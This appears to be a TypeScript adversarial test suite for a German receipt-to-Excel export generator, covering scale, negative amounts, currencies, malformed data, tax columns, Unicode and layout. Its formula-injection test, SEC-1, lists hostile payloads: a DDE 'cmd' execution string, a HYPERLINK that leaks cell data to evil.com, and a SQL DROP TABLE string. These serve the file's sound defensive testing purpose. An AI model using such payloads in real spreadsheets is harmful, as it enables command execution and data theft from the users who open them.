/** * Empirical Challenger: Adversarial Stress Test & Edge-Case Verification Suite for Excel Generator * Target: src/lib/export/excelGenerator.ts * * Test Dimensions: * 1. Extreme Scale (1,000+ line items, 1,000+ receipts, memory and formula integrity) * 2. Negative Financials (discounts, stornos, Pfand refunds, [Red] formatting, algebraic sign consistency) * 3. Multi-Currency Heterogeneity (EUR, USD, CHF, GBP, JPY, CAD, lowercase, whitespace, symbols, empty) * 4. Missing / Malformed / Corrupted Data Objects (undefined/null properties, malformed dates, NaN/Infinity) * 5. High-Dimensional Dynamic Tax Rates (0%, 2.5%, 3.8%, 7%, 8.1%, 10%, 13%, 19%, 20%, 25%, >26 columns Z -> AA) * 6. Unicode, Emojis, RTL, Special Characters & Formula Injection Strings * 7. Dynamic Conditional Columns (Trinkgeld/Tips and Hospitality/Bewirtung visibility) * 8. Strict Round-Trip ExcelJS Buffer Parsing & Formula Syntax Verification */ import ExcelJS from "exceljs"; import { describe, test, expect } from "./runner"; import { generateDualSheetExcel, ExcelExportOptions } from "../../src/lib/export/excelGenerator"; import { ProcessedReceipt, LineItem, TaxBreakdownItem } from "../../src/lib/schema/receipt"; // Helper to construct a base valid receipt function createMockReceipt(overrides: Partial = {}): ProcessedReceipt { return { id: `rec-${Math.random().toString(36).slice(2, 9)}`, merchant: { name: "Test Merchant GmbH", address: "Musterstraße 1, 10115 Berlin", taxId: "DE123456789", confidence: 0.98 }, date: { isoDate: "2026-08-16", time: "14:30", confidence: 0.95 }, documentType: "KASSENBON", receiptNumber: "REC-2026-001", currency: "EUR", totalAmount: { value: 119.00, confidence: 0.99 }, netAmount: 100.00, tipAmount: null, taxBreakdown: [ { ratePercent: 19, taxAmount: 19.00, netAmount: 100.00 }, ], lineItems: [ { description: "Standard Item 1", quantity: 1, unitPrice: 100.00, price: 100.00, taxRate: 19 }, ], suggestedCategory: "Bürobedarf & IT", validation: { isMathValid: true, isDuplicateSuspected: false, needsUserReview: false, reviewField: "none", reviewReason: null, userConfirmed: false, }, imageHash: "hash-test-001", originalFileName: "receipt.jpg", fileSizeBytes: 204800, createdAt: "2026-08-16T14:30:00.000Z", updatedAt: "2026-08-16T14:30:00.000Z", status: "ready", ...overrides, } as ProcessedReceipt; } // Helper to parse buffer back into ExcelJS Workbook async function parseExcelBuffer(buffer: Buffer): Promise { const wb = new ExcelJS.Workbook(); await wb.xlsx.load(buffer as unknown as ArrayBuffer); return wb; } describe("Adversarial Excel: 1. Extreme Scale & Workloads (1,000+ Items)", () => { test("SCALE-1: 1,000 receipts with 1 line item each generates and parses cleanly in < 3s", async () => { const receipts: ProcessedReceipt[] = []; for (let i = 1; i <= 1000; i++) { receipts.push( createMockReceipt({ id: `rec-scale-${i}`, receiptNumber: `NO-${i}`, merchant: { name: `Merchant ${i}`, address: null, taxId: `DE${100000 + i}`, confidence: 0.9 }, totalAmount: { value: 10.0 + (i % 50), confidence: 0.95 }, netAmount: 8.4 + ((i % 50) * 0.84), taxBreakdown: [{ ratePercent: 19, taxAmount: 1.6 + ((i % 50) * 0.16), netAmount: 8.4 }], lineItems: [{ description: `Item ${i}`, quantity: 1, unitPrice: 10.0 + (i % 50), price: 10.0 + (i % 50), taxRate: 19 }], }) ); } const t0 = performance.now(); const buffer = await generateDualSheetExcel(receipts); const duration = performance.now() - t0; expect(Buffer.isBuffer(buffer)).toBe(true); expect(buffer.length).toBeGreaterThan(50000); // Realistic workbook size > 50KB expect(duration).toBeLessThan(3500); // Must generate quickly const wb = await parseExcelBuffer(buffer); const overviewSheet = wb.getWorksheet("Belegübersicht"); const lineItemSheet = wb.getWorksheet("Einzelpositionen Detail"); expect(overviewSheet).toBeDefined(); expect(lineItemSheet).toBeDefined(); // Overview: 1 header + 1000 data rows + 1 total row = 1002 rows expect(overviewSheet!.rowCount).toBe(1002); // Line items: 1 header + 1000 item rows = 1001 rows expect(lineItemSheet!.rowCount).toBe(1001); // Verify last data row live formula syntax // Overview standard columns: 1: Nr, 2: Date, 3: Merchant, 4: Cat, 5: DocType, 6: RecNo, 7: Net, 8: MwSt 7%, 9: MwSt 19%, 10: Gross, 11: Currency, 12: MwSt gesamt, 13: Netto rechnerisch const row1001 = overviewSheet!.getRow(1001); const taxTotalCell = row1001.getCell(12).value as { formula?: string }; const netCalcCell = row1001.getCell(13).value as { formula?: string }; expect(taxTotalCell.formula).toBe("SUM(H1001:I1001)"); expect(netCalcCell.formula).toBe("J1001-L1001"); }); test("SCALE-2: Single receipt with 1,500 line items generates and maps correctly", async () => { const items: LineItem[] = []; let grossSum = 0; for (let i = 1; i <= 1500; i++) { const price = Math.round((1.5 + (i * 0.05)) * 100) / 100; grossSum += price; items.push({ description: `High volume item #${i}`, quantity: i % 5 + 1, unitPrice: price, price: price, taxRate: 19, }); } const receipt = createMockReceipt({ id: "rec-heavy-lines", totalAmount: { value: Math.round(grossSum * 100) / 100, confidence: 0.99 }, netAmount: Math.round((grossSum / 1.19) * 100) / 100, taxBreakdown: [{ ratePercent: 19, taxAmount: Math.round((grossSum - grossSum / 1.19) * 100) / 100, netAmount: Math.round((grossSum / 1.19) * 100) / 100 }], lineItems: items, }); const buffer = await generateDualSheetExcel([receipt]); const wb = await parseExcelBuffer(buffer); const lineSheet = wb.getWorksheet("Einzelpositionen Detail")!; expect(lineSheet.rowCount).toBe(1501); // 1 header + 1500 line items // Check first and last line item rows // Col 1: receiptIdx, Col 4: description const firstRow = lineSheet.getRow(2); expect(firstRow.getCell(1).value).toBe(1); expect(firstRow.getCell(4).value).toBe("High volume item #1"); const lastRow = lineSheet.getRow(1501); expect(lastRow.getCell(1).value).toBe(1); expect(lastRow.getCell(4).value).toBe("High volume item #1500"); }); }); describe("Adversarial Excel: 2. Negative Financials, Discounts & Pfand Refunds", () => { test("NEG-1: Negative total amounts (stornos/credit notes) format with [Red] numFmt and algebraic totals", async () => { const receipts = [ createMockReceipt({ id: "rec-pos", totalAmount: { value: 100.0, confidence: 0.99 }, netAmount: 84.03, taxBreakdown: [{ ratePercent: 19, taxAmount: 15.97, netAmount: 84.03 }], }), createMockReceipt({ id: "rec-storno", merchant: { name: "Retoure & Gutschrift", address: null, taxId: null, confidence: 0.9 }, totalAmount: { value: -40.0, confidence: 0.99 }, netAmount: -33.61, taxBreakdown: [{ ratePercent: 19, taxAmount: -6.39, netAmount: -33.61 }], }), ]; const buffer = await generateDualSheetExcel(receipts); const wb = await parseExcelBuffer(buffer); const sheet = wb.getWorksheet("Belegübersicht")!; // Col 7: Net, Col 10: Gross const row3 = sheet.getRow(3); const netCell = row3.getCell(7); const grossCell = row3.getCell(10); expect(netCell.value).toBe(-33.61); expect(grossCell.value).toBe(-40.0); // Number format must include [Red] for negative visual styling expect(netCell.numFmt.includes("[Red]")).toBe(true); expect(grossCell.numFmt.includes("[Red]")).toBe(true); // Grand total row formula (Row 4, Col 10: Gross) const totalRow = sheet.getRow(4); const grossTotalCell = totalRow.getCell(10).value as { formula?: string }; expect(grossTotalCell.formula).toBe("SUM(J2:J3)"); }); test("NEG-2: Line items with negative Pfand / voucher discounts render without failure", async () => { const receipt = createMockReceipt({ id: "rec-pfand", lineItems: [ { description: "Mineralwasser Kiste", quantity: 1, unitPrice: 5.99, price: 5.99, taxRate: 19 }, { description: "Leergutrückgabe / Pfand", quantity: 1, unitPrice: -3.30, price: -3.30, taxRate: 19 }, { description: "Aktionsgutschein Rabatt", quantity: 1, unitPrice: -1.50, price: -1.50, taxRate: 19 }, ], totalAmount: { value: 1.19, confidence: 0.99 }, netAmount: 1.00, taxBreakdown: [{ ratePercent: 19, taxAmount: 0.19, netAmount: 1.00 }], }); const buffer = await generateDualSheetExcel([receipt]); const wb = await parseExcelBuffer(buffer); const lineSheet = wb.getWorksheet("Einzelpositionen Detail")!; expect(lineSheet.rowCount).toBe(4); // 1 header + 3 items // Col 4: Description, Col 8: Line Total Price const pfandRow = lineSheet.getRow(3); expect(pfandRow.getCell(4).value).toBe("Leergutrückgabe / Pfand"); expect(pfandRow.getCell(8).value).toBe(-3.30); expect(pfandRow.getCell(8).numFmt.includes("[Red]")).toBe(true); const discountRow = lineSheet.getRow(4); expect(discountRow.getCell(8).value).toBe(-1.50); }); }); describe("Adversarial Excel: 3. Multi-Currency Heterogeneity & Breakdown Matrix", () => { test("CURR-1: Single currency EUR includes (€) suffix and standard SUM total", async () => { const receipts = [ createMockReceipt({ currency: "EUR", totalAmount: { value: 50.0, confidence: 0.99 } }), createMockReceipt({ currency: "EUR", totalAmount: { value: 30.0, confidence: 0.99 } }), ]; const buffer = await generateDualSheetExcel(receipts); const wb = await parseExcelBuffer(buffer); const sheet = wb.getWorksheet("Belegübersicht")!; // Header Col 7: Net const netHeader = sheet.getRow(1).getCell(7).value; expect(String(netHeader)).toContain("(€)"); // Grand total row: Col 3 is Merchant label, Col 10 is Gross Total, Col 11 is Currency const totalRow = sheet.getRow(4); expect(totalRow.getCell(3).value).toBe("GESAMTSUMME"); const grossTotal = totalRow.getCell(10).value as { formula?: string }; expect(grossTotal.formula).toBe("SUM(J2:J3)"); expect(totalRow.getCell(11).value).toBe("EUR"); }); test("CURR-2: Single non-EUR currency (USD) applies USD code in headers, formatting and total", async () => { const receipts = [ createMockReceipt({ currency: "USD", totalAmount: { value: 45.0, confidence: 0.99 } }), ]; const buffer = await generateDualSheetExcel(receipts); const wb = await parseExcelBuffer(buffer); const sheet = wb.getWorksheet("Belegübersicht")!; const netHeader = sheet.getRow(1).getCell(7).value; expect(String(netHeader)).toContain("(USD)"); const totalRow = sheet.getRow(3); expect(totalRow.getCell(11).value).toBe("USD"); }); test("CURR-3: Mixed currencies (EUR, USD, CHF, GBP, JPY) disables blind sum and generates SUMIFS matrix", async () => { const receipts = [ createMockReceipt({ currency: "EUR", suggestedCategory: "Reisekosten & Hotel", totalAmount: { value: 100.0, confidence: 0.99 } }), createMockReceipt({ currency: "USD", suggestedCategory: "Bürobedarf & IT", totalAmount: { value: 200.0, confidence: 0.99 } }), createMockReceipt({ currency: "CHF", suggestedCategory: "Reisekosten & Hotel", totalAmount: { value: 150.0, confidence: 0.99 } }), createMockReceipt({ currency: "GBP", suggestedCategory: "Sonstiges", totalAmount: { value: 50.0, confidence: 0.99 } }), createMockReceipt({ currency: "JPY", suggestedCategory: "Bewirtung", totalAmount: { value: 5000.0, confidence: 0.99 } }), ]; const buffer = await generateDualSheetExcel(receipts); const wb = await parseExcelBuffer(buffer); const sheet = wb.getWorksheet("Belegübersicht")!; // Header Col 7: Net must NOT have a single currency suffix const netHeader = String(sheet.getRow(1).getCell(7).value); expect(netHeader.endsWith("(€)")).toBe(false); expect(netHeader.endsWith("(USD)")).toBe(false); // Total row merchant cell (Col 3) has mixed notice const totalRow = sheet.getRow(7); expect(String(totalRow.getCell(3).value)).toContain("mehrere Währungen"); // Mixed currency MUST NOT sum across currencies in the main table row expect(totalRow.getCell(10).value).toBeNull(); // Verify Category Summary block (placed to the right of the main table) // Summary headers should start at column (lastCol + 2) let summaryCol = -1; sheet.getRow(1).eachCell((cell, colNumber) => { if (cell.value === "Auswertung je Kategorie" || cell.value === "Kategorie") { summaryCol = colNumber; } }); expect(summaryCol).toBeGreaterThan(10); // Check that SUMIFS is used for mixed currency category rows const summaryDataRow = sheet.getRow(2); const countFormula = summaryDataRow.getCell(summaryCol + 2).value as { formula?: string }; expect(countFormula.formula).toContain("COUNTIFS("); const sumFormula = summaryDataRow.getCell(summaryCol + 3).value as { formula?: string }; expect(sumFormula.formula).toContain("SUMIFS("); }); test("CURR-4: Unusual and unsanitized currency strings (lowercase, whitespace, symbols, empty)", async () => { const receipts = [ createMockReceipt({ currency: " usd " as any }), createMockReceipt({ currency: "eur" as any }), createMockReceipt({ currency: "" as any }), createMockReceipt({ currency: undefined as any }), createMockReceipt({ currency: "$$$" as any }), ]; const buffer = await generateDualSheetExcel(receipts); const wb = await parseExcelBuffer(buffer); const sheet = wb.getWorksheet("Belegübersicht")!; // Currency values in data rows: Col 11 is currency expect(sheet.getRow(2).getCell(11).value).toBe("USD"); expect(sheet.getRow(3).getCell(11).value).toBe("EUR"); expect(sheet.getRow(4).getCell(11).value).toBe("EUR"); // empty string defaults to EUR expect(sheet.getRow(5).getCell(11).value).toBe("EUR"); // undefined defaults to EUR expect(sheet.getRow(6).getCell(11).value).toBe("$$$"); }); }); describe("Adversarial Excel: 4. Missing, Null, Undefined & Malformed Objects", () => { test("DEF-1: Completely empty or corrupted receipt objects do not throw exceptions", async () => { const dirtyReceipts: any[] = [ {}, { id: "empty-1" }, { merchant: null, date: null, totalAmount: null, lineItems: null, taxBreakdown: null }, { merchant: { name: undefined, taxId: undefined }, totalAmount: { value: undefined } }, null, undefined, ]; const buffer = await generateDualSheetExcel(dirtyReceipts); expect(Buffer.isBuffer(buffer)).toBe(true); const wb = await parseExcelBuffer(buffer); const overview = wb.getWorksheet("Belegübersicht")!; const lineItems = wb.getWorksheet("Einzelpositionen Detail")!; expect(overview).toBeDefined(); expect(lineItems).toBeDefined(); // 4 non-null receipts + 1 header + 1 total = 6 rows in overview expect(overview.rowCount).toBe(6); }); test("DEF-2: Date edge cases (invalid strings, leap years, non-ISO formats)", async () => { const receipts = [ createMockReceipt({ date: { isoDate: "2026-08-15", time: null, confidence: 0.9 } }), // valid createMockReceipt({ date: { isoDate: "2024-02-29", time: null, confidence: 0.9 } }), // leap year valid createMockReceipt({ date: { isoDate: "2026-02-29", time: null, confidence: 0.9 } }), // 2026 leap day invalid -> kept as text createMockReceipt({ date: { isoDate: "15.08.2026", time: null, confidence: 0.9 } }), // German format -> text createMockReceipt({ date: { isoDate: "not-a-date", time: null, confidence: 0.9 } }), // invalid -> text createMockReceipt({ date: null as any }), // null -> text "" ]; const buffer = await generateDualSheetExcel(receipts); const wb = await parseExcelBuffer(buffer); const sheet = wb.getWorksheet("Belegübersicht")!; // Col 2: Date // Row 2: valid Date object const cellValid = sheet.getRow(2).getCell(2); expect(cellValid.value instanceof Date).toBe(true); expect(cellValid.numFmt).toBe("DD.MM.YYYY"); // Row 3: valid leap year 2024 Date object const cellLeap = sheet.getRow(3).getCell(2); expect(cellLeap.value instanceof Date).toBe(true); // Row 4: invalid 2026-02-29 preserved as raw string const cellInvalidLeap = sheet.getRow(4).getCell(2); expect(typeof cellInvalidLeap.value).toBe("string"); expect(cellInvalidLeap.value).toBe("2026-02-29"); // Row 5: German dot format preserved as text const cellDot = sheet.getRow(5).getCell(2); expect(cellDot.value).toBe("15.08.2026"); // Row 6: invalid string preserved const cellText = sheet.getRow(6).getCell(2); expect(cellText.value).toBe("not-a-date"); // Row 7: null preserved as empty string const cellNull = sheet.getRow(7).getCell(2); expect(cellNull.value).toBe(""); }); test("DEF-3: Completely empty dataset [] produces valid workbook with empty placeholder", async () => { const buffer = await generateDualSheetExcel([]); const wb = await parseExcelBuffer(buffer); const overview = wb.getWorksheet("Belegübersicht")!; const lineItems = wb.getWorksheet("Einzelpositionen Detail")!; // Overview has header row and grand total row expect(overview.rowCount).toBe(2); // Line items has header row and the 'no items' informative row expect(lineItems.rowCount).toBe(2); expect(String(lineItems.getRow(2).getCell(1).value)).toContain("keine Einzelpositionen erfasst"); }); }); describe("Adversarial Excel: 5. High-Dimensional Dynamic Tax Rates (> 26 Columns / Z -> AA)", () => { test("TAX-1: Many dynamic tax rates spanning beyond 26 columns (AA, AB, AC...) with accurate SUM formulas", async () => { // Generate 25 distinct tax rates across receipts: 0.5%, 1%, 2% ... 25%, plus standard 7% and 19% const taxRatesList = [ 0.5, 1, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 6, 7.7, 8, 8.1, 8.875, 10, 11, 12, 13, 14, 15, 16, 17, 18, 20, 21, 22, 23, 24, 25 ]; const receipts: ProcessedReceipt[] = taxRatesList.map((rate, idx) => { return createMockReceipt({ id: `rec-tax-${idx}`, totalAmount: { value: 100 + rate, confidence: 0.99 }, netAmount: 100, taxBreakdown: [ { ratePercent: rate, taxAmount: rate, netAmount: 100 }, ], }); }); const buffer = await generateDualSheetExcel(receipts); const wb = await parseExcelBuffer(buffer); const sheet = wb.getWorksheet("Belegübersicht")!; // Check column count in Overview sheet const headerRow = sheet.getRow(1); let totalCols = 0; headerRow.eachCell(() => totalCols++); // 7 standard initial cols + 32 tax cols + gross + currency + taxTotal + netCalc + taxId + status = 45+ cols expect(totalCols).toBeGreaterThan(35); // Verify row 2 formulas: // With 32 tax rates: firstTaxCol = 8 (H), lastTaxCol = 8 + 32 - 1 = 39 (AM) // grossCol = 40 (AN), currencyCol = 41 (AO), taxTotalCol = 42 (AP), netCalcCol = 43 (AQ) const row2 = sheet.getRow(2); const taxTotalCell = row2.getCell(42).value as { formula?: string }; expect(taxTotalCell).toBeDefined(); expect(taxTotalCell.formula).toBe("SUM(H2:AM2)"); const netCalcCell = row2.getCell(43).value as { formula?: string }; expect(netCalcCell).toBeDefined(); expect(netCalcCell.formula).toBe("AN2-AP2"); }); test("TAX-2: Zero-tax-amount entries (taxAmount = 0) do not create redundant non-standard columns", async () => { const receipts = [ createMockReceipt({ taxBreakdown: [ { ratePercent: 19, taxAmount: 19.0, netAmount: 100.0 }, { ratePercent: 0, taxAmount: 0.0, netAmount: 50.0 }, // 0% with 0.00 tax { ratePercent: 13, taxAmount: 0.0, netAmount: 10.0 }, // 13% with 0.00 tax -> must not create 13% column ], }), ]; const buffer = await generateDualSheetExcel(receipts); const wb = await parseExcelBuffer(buffer); const sheet = wb.getWorksheet("Belegübersicht")!; const headers: string[] = []; sheet.getRow(1).eachCell((c) => headers.push(String(c.value ?? ""))); // 7% and 19% standard rates must always exist expect(headers.some((h) => h.includes("MwSt 7 %"))).toBe(true); expect(headers.some((h) => h.includes("MwSt 19 %"))).toBe(true); // 13% with 0 tax amount should NOT create a dedicated column expect(headers.some((h) => h.includes("MwSt 13 %"))).toBe(false); }); }); describe("Adversarial Excel: 6. Unicode, RTL, Emojis & Formula Injection Attacks", () => { test("SEC-1: Malicious spreadsheet formula injection strings are treated safely as raw text", async () => { const injectionStrings = [ "=SUM(A1:A10)", "+cmd|' /C calc'!A0", "-@SUM(1,2)", "@HYPERLINK(\"http://evil.com?leak=\"&A1, \"Click Me\")", "=1+1", "'; DROP TABLE receipts; --", "", ]; const receipts = injectionStrings.map((payload, idx) => { return createMockReceipt({ id: `rec-inj-${idx}`, merchant: { name: payload, address: payload, taxId: payload, confidence: 0.9 }, receiptNumber: payload, suggestedCategory: payload as any, lineItems: [ { description: payload, quantity: 1, unitPrice: 10.0, price: 10.0, taxRate: 19 }, ], }); }); const buffer = await generateDualSheetExcel(receipts); const wb = await parseExcelBuffer(buffer); const overview = wb.getWorksheet("Belegübersicht")!; const lineSheet = wb.getWorksheet("Einzelpositionen Detail")!; // Overview cols: 3: Merchant, 4: Category, 6: ReceiptNo // Line items cols: 4: Description injectionStrings.forEach((payload, idx) => { const row = overview.getRow(idx + 2); expect(row.getCell(3).value).toBe(payload); expect(row.getCell(4).value).toBe(payload); expect(row.getCell(6).value).toBe(payload); const lineRow = lineSheet.getRow(idx + 2); expect(lineRow.getCell(4).value).toBe(payload); }); }); test("SEC-2: Multilingual, RTL, CJK & Multi-byte Emoji strings preserve exact fidelity", async () => { const testCases = [ { name: "☕ Café Süß & Lecker 🥨 GmbH", cat: "🍽️ Bewirtung", item: "Cappuccino Grande ☕ & Croissant 🥐" }, { name: "寿司 🍣 居酒屋 東京 Tokyo", cat: "食事 🍜", item: "サーモン 刺身 盛り合わせ 🍱" }, { name: "مكتبة النور للكتب والقرطاسية", cat: "مستلزمات مكتبية", item: "دفتر ملاحظات وقلم فاخر ✒️" }, { name: "Большой театр сувениры 🎭", cat: "Культура", item: "Билет на балет 'Щелкунчик' 🎟️" }, { name: "Frühstückscafé 'Zur Gemütlichkeit' ", cat: "Essen & Trinken", item: "100% Bio-Vollmilch & Käse-Schinken-Toast" }, ]; const receipts = testCases.map((tc, idx) => { return createMockReceipt({ id: `rec-uni-${idx}`, merchant: { name: tc.name, address: null, taxId: null, confidence: 0.9 }, suggestedCategory: tc.cat as any, lineItems: [{ description: tc.item, quantity: 1, unitPrice: 25.0, price: 25.0, taxRate: 19 }], }); }); const buffer = await generateDualSheetExcel(receipts); const wb = await parseExcelBuffer(buffer); const overview = wb.getWorksheet("Belegübersicht")!; const lineSheet = wb.getWorksheet("Einzelpositionen Detail")!; testCases.forEach((tc, idx) => { const row = overview.getRow(idx + 2); expect(row.getCell(3).value).toBe(tc.name); expect(row.getCell(4).value).toBe(tc.cat); const lineRow = lineSheet.getRow(idx + 2); expect(lineRow.getCell(4).value).toBe(tc.item); }); }); }); describe("Adversarial Excel: 7. Conditional Columns (Trinkgeld & Hospitality)", () => { test("COND-1: Hospitality columns appear ONLY when hospitality data is present", async () => { // 1. Without hospitality const withoutHosp = [createMockReceipt({ hospitality: undefined, documentType: "KASSENBON" })]; const buf1 = await generateDualSheetExcel(withoutHosp); const wb1 = await parseExcelBuffer(buf1); const headers1: string[] = []; wb1.getWorksheet("Belegübersicht")!.getRow(1).eachCell((c) => headers1.push(String(c.value ?? ""))); expect(headers1.some((h) => h.includes("Anlass"))).toBe(false); expect(headers1.some((h) => h.includes("Teilnehmer"))).toBe(false); // 2. With hospitality const withHosp = [ createMockReceipt({ documentType: "BEWIRTUNGSBELEG", hospitality: { occasion: "Kundengespräch Roadmap 2026", participants: "Max Mustermann, Jane Doe" } as any, }), ]; const buf2 = await generateDualSheetExcel(withHosp); const wb2 = await parseExcelBuffer(buf2); const sheet2 = wb2.getWorksheet("Belegübersicht")!; const headers2: string[] = []; sheet2.getRow(1).eachCell((c) => headers2.push(String(c.value ?? ""))); expect(headers2.some((h) => h.includes("Anlass (Bewirtung)"))).toBe(true); expect(headers2.some((h) => h.includes("Teilnehmer (Bewirtung)"))).toBe(true); const occasionCol = headers2.indexOf("Anlass (Bewirtung)") + 1; const partCol = headers2.indexOf("Teilnehmer (Bewirtung)") + 1; const rowHosp = sheet2.getRow(2); expect(rowHosp.getCell(occasionCol).value).toBe("Kundengespräch Roadmap 2026"); expect(rowHosp.getCell(partCol).value).toBe("Max Mustermann, Jane Doe"); }); test("COND-2: Tip columns appear ONLY when tip amount is present and calculate correctly", async () => { // 1. Without tip const bufNoTip = await generateDualSheetExcel([createMockReceipt({ tipAmount: null })]); const wbNoTip = await parseExcelBuffer(bufNoTip); const headersNoTip: string[] = []; wbNoTip.getWorksheet("Belegübersicht")!.getRow(1).eachCell((c) => headersNoTip.push(String(c.value ?? ""))); expect(headersNoTip.some((h) => h.includes("Trinkgeld"))).toBe(false); expect(headersNoTip.some((h) => h.includes("Gesamt gezahlt"))).toBe(false); // 2. With tip const bufWithTip = await generateDualSheetExcel([ createMockReceipt({ totalAmount: { value: 50.0, confidence: 0.99 }, tipAmount: 5.0, }), ]); const wbWithTip = await parseExcelBuffer(bufWithTip); const sheetWithTip = wbWithTip.getWorksheet("Belegübersicht")!; const headersWithTip: string[] = []; sheetWithTip.getRow(1).eachCell((c) => headersWithTip.push(String(c.value ?? ""))); expect(headersWithTip.some((h) => h.includes("Trinkgeld"))).toBe(true); expect(headersWithTip.some((h) => h.includes("Gesamt gezahlt"))).toBe(true); // In Overview with tip: // Col 10: Gross (J), Col 14: Tip (N), Col 15: PaidTotal (O) const row2 = sheetWithTip.getRow(2); expect(row2.getCell(14).value).toBe(5.0); const paidFormula = (row2.getCell(15).value as { formula?: string }).formula; expect(paidFormula).toBe("J2+N(N2)"); }); }); describe("Adversarial Excel: 8. Layout, Views, Print Setup & Styling Invariants", () => { test("LAYOUT-1: Freeze Panes, Tab Colors, Gridlines and Page Setup adhere to design contract", async () => { const buffer = await generateDualSheetExcel([createMockReceipt()], { locale: "de" }); const wb = await parseExcelBuffer(buffer); const sheet1 = wb.getWorksheet("Belegübersicht")!; const sheet2 = wb.getWorksheet("Einzelpositionen Detail")!; // Tab colors expect(sheet1.properties.tabColor?.argb).toBe("FF1E293B"); expect(sheet2.properties.tabColor?.argb).toBe("FF0F766E"); // Views (frozen panes) const view1 = sheet1.views[0] as any; expect(view1.state).toBe("frozen"); expect(view1.xSplit).toBe(3); expect(view1.ySplit).toBe(1); expect(view1.showGridLines).toBe(false); const view2 = sheet2.views[0] as any; expect(view2.state).toBe("frozen"); expect(view2.xSplit).toBe(3); expect(view2.ySplit).toBe(1); expect(view2.showGridLines).toBe(false); // Page setup: landscape, fit to 1 page wide expect(sheet1.pageSetup.orientation).toBe("landscape"); expect(sheet1.pageSetup.fitToWidth).toBe(1); expect(sheet1.pageSetup.fitToHeight).toBe(0); expect(sheet1.pageSetup.printTitlesRow).toBe("1:1"); }); });